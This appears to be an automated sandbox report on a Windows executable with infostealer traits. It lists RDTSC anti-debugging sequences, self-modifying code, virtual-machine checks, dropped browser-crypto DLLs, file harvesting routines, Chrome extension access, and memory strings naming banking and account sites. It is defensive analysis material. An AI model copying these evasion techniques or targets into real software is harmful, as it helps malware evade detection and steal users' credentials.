Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB69D second address: 13DB6A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB6A3 second address: 13DB6AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB6AE second address: 13DB6B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB6B2 second address: 13DB6C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a je 00007F9F60E618B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB6C2 second address: 13DB6CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB6CE second address: 13DB6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB7EE second address: 13DB816 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F9F60D14459h 0x0000000b jmp 00007F9F60D14453h 0x00000010 pop ecx 0x00000011 jne 00007F9F60D14454h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DB816 second address: 13DB81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF68E second address: 13DF693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF693 second address: 13DF6D1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9F60E618D0h 0x00000008 jmp 00007F9F60E618C8h 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9F60E618C8h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF6D1 second address: 13DF6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF6D5 second address: 13DF6E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF6E4 second address: 13DF6E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EE0AD second address: 13EE0B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF779 second address: 13EF7A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9F60D14453h 0x0000000b jl 00007F9F60D14452h 0x00000011 jnc 00007F9F60D14446h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF632 second address: 13EF63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF63B second address: 13EF641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EF641 second address: 13EF645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FBE59 second address: 13FBE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jl 00007F9F60D14446h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FBE67 second address: 13FBE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FBE6C second address: 13FBE98 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 jmp 00007F9F60D1444Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 jmp 00007F9F60D14454h 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FBE98 second address: 13FBEC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C6h 0x00000007 push ebx 0x00000008 jmp 00007F9F60E618BDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BC24 second address: 140BC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007F9F60D14457h 0x0000000c jmp 00007F9F60D1444Eh 0x00000011 pushad 0x00000012 jng 00007F9F60D14446h 0x00000018 jo 00007F9F60D14446h 0x0000001e jmp 00007F9F60D1444Fh 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F9F60D14455h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140BC84 second address: 140BC88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C7E3 second address: 140C7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C7E9 second address: 140C80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F9F60E618B6h 0x0000000c popad 0x0000000d pop esi 0x0000000e pushad 0x0000000f jl 00007F9F60E618BEh 0x00000015 jnl 00007F9F60E618B6h 0x0000001b pushad 0x0000001c popad 0x0000001d jl 00007F9F60E618C2h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C80E second address: 140C81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9F60D14446h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 140C81C second address: 140C835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60E618C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141101E second address: 1411031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60D1444Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411031 second address: 1411038 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411113 second address: 1411133 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14452h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a js 00007F9F60D1444Eh 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411133 second address: 1411146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F9F60E618B8h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411146 second address: 141118F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9F60D1444Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jbe 00007F9F60D14452h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 ja 00007F9F60D14466h 0x0000001c pushad 0x0000001d jmp 00007F9F60D14458h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1411381 second address: 141138B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F9F60E618B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141138B second address: 141138F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413EAD second address: 1413EB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413EB3 second address: 1413ECF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D14454h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1413ECF second address: 1413EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F60E618C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30296 second address: 4E3029A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3029A second address: 4E3029E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3029E second address: 4E302A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E302A4 second address: 4E302AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E302AA second address: 4E302CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9F60D14459h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E302CE second address: 4E3030C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 mov edx, 7F18464Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F9F60E618C2h 0x00000015 jmp 00007F9F60E618C5h 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d mov si, 109Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3030C second address: 4E3039C instructions: 0x00000000 rdtsc 0x00000002 call 00007F9F60D1444Ah 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007F9F60D14457h 0x00000012 pushfd 0x00000013 jmp 00007F9F60D14458h 0x00000018 or ax, 8788h 0x0000001d jmp 00007F9F60D1444Bh 0x00000022 popfd 0x00000023 pop esi 0x00000024 pushfd 0x00000025 jmp 00007F9F60D14459h 0x0000002a xor si, 16A6h 0x0000002f jmp 00007F9F60D14451h 0x00000034 popfd 0x00000035 popad 0x00000036 mov ebp, esp 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov eax, edx 0x0000003d mov esi, edi 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E303E4 second address: 4E303E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E303E8 second address: 4E303EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E303EE second address: 4E3040B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edx, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f mov eax, 3969326Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E3040B second address: 4E30441 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9F60D14454h 0x00000008 or si, E698h 0x0000000d jmp 00007F9F60D1444Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ebx, ecx 0x0000001c mov cx, D79Dh 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335C1F second address: 1335C29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9F60E618B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335E2B second address: 1335E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335E30 second address: 1335E36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335E36 second address: 1335E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335E3A second address: 1335E5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9F60E618C7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335E5E second address: 1335E68 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9F60D14446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30C60 second address: 4E30C64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30C64 second address: 4E30C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30C6A second address: 4E30C91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60E618C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9F60E618BEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30C91 second address: 4E30CED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F60D1444Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007F9F60D14454h 0x00000010 pushfd 0x00000011 jmp 00007F9F60D14452h 0x00000016 or ecx, 29166AC8h 0x0000001c jmp 00007F9F60D1444Bh 0x00000021 popfd 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9F60D1444Fh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E30CED second address: 4E30CF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1171CF2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 132A0E5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1328DB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 116F49A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1171BD2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1331D55 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F24910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F24910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00F1DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00F1E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F116D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F116D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F1F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F23EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00F23EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00F1BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F238B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00F238B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F24570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00F24570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00F1ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00F1DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F11160 GetSystemInfo,ExitProcess,

0_2_00F11160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: FIDGHIIE.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: FIDGHIIE.0.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: FIDGHIIE.0.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: FIDGHIIE.0.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: FIDGHIIE.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: FIDGHIIE.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: FIDGHIIE.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: FIDGHIIE.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: FIDGHIIE.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: file.exe, 00000000.00000002.1673431331.00000000008C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: FIDGHIIE.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: FIDGHIIE.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: FIDGHIIE.0.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1673431331.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FIDGHIIE.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: FIDGHIIE.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: FIDGHIIE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: FIDGHIIE.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: FIDGHIIE.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: FIDGHIIE.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: FIDGHIIE.0.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: FIDGHIIE.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: FIDGHIIE.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: FIDGHIIE.0.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: FIDGHIIE.0.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FIDGHIIE.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: FIDGHIIE.0.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: FIDGHIIE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: FIDGHIIE.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: FIDGHIIE.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
